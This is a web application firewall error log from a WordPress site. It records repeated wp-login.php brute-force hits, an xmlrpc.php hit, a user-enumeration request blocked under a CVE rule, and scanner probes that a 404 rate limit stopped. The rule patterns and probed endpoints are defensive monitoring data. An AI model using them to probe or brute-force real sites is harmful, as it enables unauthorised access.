[Tue May 26 04:07:22.270099 2026] [:error] [pid 20125:tid 20127] [client 31.216.137.18:49936] [client 31.216.137.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.216.137.18, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSr-tk9jeWERFDLJc5e1QAAAMA"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 04:08:31.098415 2026] [:error] [pid 20125:tid 20127] [client 135.181.62.37:36006] [client 135.181.62.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.181.62.37, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSsP9k9jeWERFDLJc5fMAAAAMA"]
[Tue May 26 04:08:32.469783 2026] [:error] [pid 20125:tid 20136] [client 135.181.62.37:36006] [client 135.181.62.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.181.62.37, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSsQNk9jeWERFDLJc5fMwAAAMk"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 04:37:11.218215 2026] [:error] [pid 20125:tid 20138] [client 213.55.96.152:60064] [client 213.55.96.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSy99k9jeWERFDLJc5nEAAAAMs"]
[Tue May 26 04:37:12.713786 2026] [:error] [pid 20125:tid 20137] [client 213.55.96.152:60064] [client 213.55.96.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSy-Nk9jeWERFDLJc5nFQAAAMo"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 04:43:15.851192 2026] [:error] [pid 20026:tid 20094] [client 163.61.60.30:51544] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.61.60.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahS0YzXIXIr-5BZ8nR7SwwAAAII"]
[Tue May 26 04:43:17.286667 2026] [:error] [pid 20026:tid 20110] [client 163.61.60.30:51544] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.61.60.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahS0ZTXIXIr-5BZ8nR7SxAAAAJI"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 04:46:41.718051 2026] [:error] [pid 20024:tid 20054] [client 201.170.230.165:45566] [client 201.170.230.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 201.170.230.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahS1MVdk7QtxEB93Npf9JAAAABA"]
[Tue May 26 04:46:42.965515 2026] [:error] [pid 20024:tid 20044] [client 201.170.230.165:45566] [client 201.170.230.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 201.170.230.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahS1Mldk7QtxEB93Npf9JwAAAAY"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 05:03:24.225798 2026] [:error] [pid 20125:tid 20146] [client 163.61.60.30:51770] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.61.60.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahS5HNk9jeWERFDLJc5wLgAAANM"]
[Tue May 26 05:03:25.489389 2026] [:error] [pid 20125:tid 20128] [client 163.61.60.30:51770] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.61.60.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahS5Hdk9jeWERFDLJc5wMgAAAME"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 05:05:10.944921 2026] [:error] [pid 20025:tid 20070] [client 163.61.60.30:41308] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.61.60.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahS5hn7k8Vts-JPOkgWZJQAAAEU"]
[Tue May 26 05:05:13.708319 2026] [:error] [pid 20025:tid 20081] [client 163.61.60.30:41308] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.61.60.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahS5iX7k8Vts-JPOkgWZKwAAAFA"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 05:55:29.685050 2026] [:error] [pid 55988:tid 55998] [client 79.99.41.110:37206] [client 79.99.41.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.99.41.110, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTFUf3kVIz2sql52sdaNgAAAQc"]
[Tue May 26 05:55:31.109466 2026] [:error] [pid 55988:tid 56012] [client 79.99.41.110:37206] [client 79.99.41.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.99.41.110, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTFU_3kVIz2sql52sdaQwAAARU"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 06:04:39.609462 2026] [:error] [pid 55988:tid 56001] [client 167.71.132.111:60374] [client 167.71.132.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.132.111, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTHd_3kVIz2sql52sddRQAAAQo"]
[Tue May 26 06:04:41.209756 2026] [:error] [pid 55988:tid 56002] [client 167.71.132.111:60374] [client 167.71.132.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.132.111, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTHef3kVIz2sql52sddSQAAAQs"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 06:41:04.699975 2026] [:error] [pid 55988:tid 55991] [client 111.229.10.83:48032] [client 111.229.10.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 111.229.10.83, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTQAP3kVIz2sql52sdvlQAAAQA"]
[Tue May 26 06:41:07.492163 2026] [:error] [pid 55988:tid 55999] [client 111.229.10.83:48032] [client 111.229.10.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 111.229.10.83, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTQA_3kVIz2sql52sdvngAAAQg"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 07:45:53.013038 2026] [:error] [pid 20025:tid 20078] [client 106.52.216.13:55444] [client 106.52.216.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahTfMX7k8Vts-JPOkgXEegAAAE0"]
[Tue May 26 07:49:09.488347 2026] [:error] [pid 20125:tid 20131] [client 173.208.152.252:36156] [client 173.208.152.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.208.152.252, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTf9dk9jeWERFDLJc6nBwAAAMQ"]
[Tue May 26 07:49:11.311732 2026] [:error] [pid 20125:tid 20133] [client 173.208.152.252:36156] [client 173.208.152.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.208.152.252, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTf99k9jeWERFDLJc6nDAAAAMY"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 07:58:53.557924 2026] [:error] [pid 20025:tid 20065] [client 74.208.170.33:46898] [client 74.208.170.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.170.33, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTiPX7k8Vts-JPOkgXLMgAAAEA"]
[Tue May 26 07:58:54.973795 2026] [:error] [pid 20025:tid 20075] [client 74.208.170.33:46898] [client 74.208.170.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.170.33, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTiPn7k8Vts-JPOkgXLNwAAAEo"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 08:25:07.378287 2026] [:error] [pid 55988:tid 55998] [client 49.51.166.228:39072] [client 49.51.166.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahToY_3kVIz2sql52sebJgAAAQc"]
[Tue May 26 09:05:57.074527 2026] [:error] [pid 20125:tid 20134] [client 103.124.95.168:46760] [client 103.124.95.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.124.95.168, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTx9dk9jeWERFDLJc66ZwAAAMc"]
[Tue May 26 09:05:59.523543 2026] [:error] [pid 20125:tid 20140] [client 103.124.95.168:46760] [client 103.124.95.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.124.95.168, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTx99k9jeWERFDLJc66bwAAAM0"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 09:13:35.602818 2026] [:error] [pid 20025:tid 20066] [client 101.99.50.238:41108] [client 101.99.50.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 101.99.50.238, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTzv37k8Vts-JPOkgXu9gAAAEE"]
[Tue May 26 09:13:36.913367 2026] [:error] [pid 20025:tid 20085] [client 101.99.50.238:41108] [client 101.99.50.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 101.99.50.238, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahTzwH7k8Vts-JPOkgXu-AAAAFQ"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 09:25:45.331020 2026] [:error] [pid 20125:tid 20143] [client 194.213.4.139:33492] [client 194.213.4.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.213.4.139, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahT2mdk9jeWERFDLJc6_fQAAANA"]
[Tue May 26 09:25:57.127842 2026] [:error] [pid 20025:tid 20084] [client 194.213.4.139:48754] [client 194.213.4.139] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/me"] [unique_id "ahT2pX7k8Vts-JPOkgX1UQAAAFM"]
[Tue May 26 10:00:18.396711 2026] [:error] [pid 20125:tid 20138] [client 217.182.195.176:56152] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ahT-stk9jeWERFDLJc7IkgAAAMs"]
[Tue May 26 10:00:21.452819 2026] [:error] [pid 20025:tid 20083] [client 217.182.195.176:38198] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ahT-tX7k8Vts-JPOkgUFawAAAFI"]
[Tue May 26 10:00:24.554078 2026] [:error] [pid 20125:tid 20140] [client 217.182.195.176:38212] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ahT-uNk9jeWERFDLJc7ImwAAAM0"]
[Tue May 26 10:00:27.319893 2026] [:error] [pid 20025:tid 20075] [client 217.182.195.176:44250] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ahT-u37k8Vts-JPOkgUFegAAAEo"]
[Tue May 26 10:00:30.191373 2026] [:error] [pid 55988:tid 56013] [client 217.182.195.176:44256] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ahT-vv3kVIz2sql52se7XAAAARY"]
[Tue May 26 10:00:33.167575 2026] [:error] [pid 20024:tid 20046] [client 217.182.195.176:44266] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ahT-wVdk7QtxEB93Npc3-AAAAAg"]
[Tue May 26 10:00:36.189727 2026] [:error] [pid 20024:tid 20047] [client 217.182.195.176:44268] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ahT-xFdk7QtxEB93Npc3_QAAAAk"]
[Tue May 26 10:00:39.006387 2026] [:error] [pid 20025:tid 20071] [client 217.182.195.176:37952] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ahT-x37k8Vts-JPOkgUFngAAAEY"]
[Tue May 26 10:00:42.599230 2026] [:error] [pid 55988:tid 55996] [client 217.182.195.176:37968] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ahT-yv3kVIz2sql52se7ZgAAAQU"]
[Tue May 26 10:00:48.020082 2026] [:error] [pid 55988:tid 56002] [client 217.182.195.176:58130] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ahT-0P3kVIz2sql52se7bgAAAQs"]
[Tue May 26 10:00:51.096661 2026] [:error] [pid 20125:tid 20146] [client 217.182.195.176:58134] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ahT-09k9jeWERFDLJc7IxQAAANM"]
[Tue May 26 10:00:54.294521 2026] [:error] [pid 20125:tid 20144] [client 217.182.195.176:58148] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ahT-1tk9jeWERFDLJc7IyQAAANE"]
[Tue May 26 10:00:57.260321 2026] [:error] [pid 55988:tid 55999] [client 217.182.195.176:60204] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ahT-2f3kVIz2sql52se7ggAAAQg"]
[Tue May 26 10:01:01.182295 2026] [:error] [pid 20125:tid 20149] [client 217.182.195.176:60218] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ahT-3dk9jeWERFDLJc7I0AAAANY"]
[Tue May 26 10:01:05.750581 2026] [:error] [pid 55988:tid 56005] [client 217.182.195.176:60224] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ahT-4f3kVIz2sql52se7hwAAAQ4"]
[Tue May 26 10:01:09.331039 2026] [:error] [pid 20025:tid 20082] [client 217.182.195.176:58612] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "ahT-5X7k8Vts-JPOkgUFzwAAAFE"]
[Tue May 26 10:01:12.797245 2026] [:error] [pid 20025:tid 20071] [client 217.182.195.176:58628] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "ahT-6H7k8Vts-JPOkgUF2QAAAEY"]
[Tue May 26 11:13:54.541945 2026] [:error] [pid 20125:tid 20135] [client 217.154.239.191:41658] [client 217.154.239.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.154.239.191, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUP8tk9jeWERFDLJc7aVQAAAMg"]
[Tue May 26 11:13:57.486704 2026] [:error] [pid 20125:tid 20140] [client 217.154.239.191:41658] [client 217.154.239.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.154.239.191, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUP9dk9jeWERFDLJc7aVgAAAM0"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 11:25:23.199057 2026] [:error] [pid 20125:tid 20131] [client 43.134.127.70:55242] [client 43.134.127.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahUSo9k9jeWERFDLJc7eJQAAAMQ"]
[Tue May 26 11:42:30.116052 2026] [:error] [pid 20125:tid 20128] [client 143.198.203.76:37168] [client 143.198.203.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.203.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUWptk9jeWERFDLJc7kbAAAAME"]
[Tue May 26 11:42:31.425912 2026] [:error] [pid 20125:tid 20143] [client 143.198.203.76:37168] [client 143.198.203.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.203.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUWp9k9jeWERFDLJc7kbQAAANA"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 11:56:59.354681 2026] [:error] [pid 55988:tid 56012] [client 74.7.242.56:59950] [client 74.7.242.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.242.56, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahUaC_3kVIz2sql52sfqrAAAARU"], referer: https://vetstars.com.au/
[Tue May 26 12:07:57.832041 2026] [:error] [pid 39336:tid 39353] [client 119.18.52.246:46680] [client 119.18.52.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 119.18.52.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUcndwmp9MmyaRNgiAD_wAAAU4"]
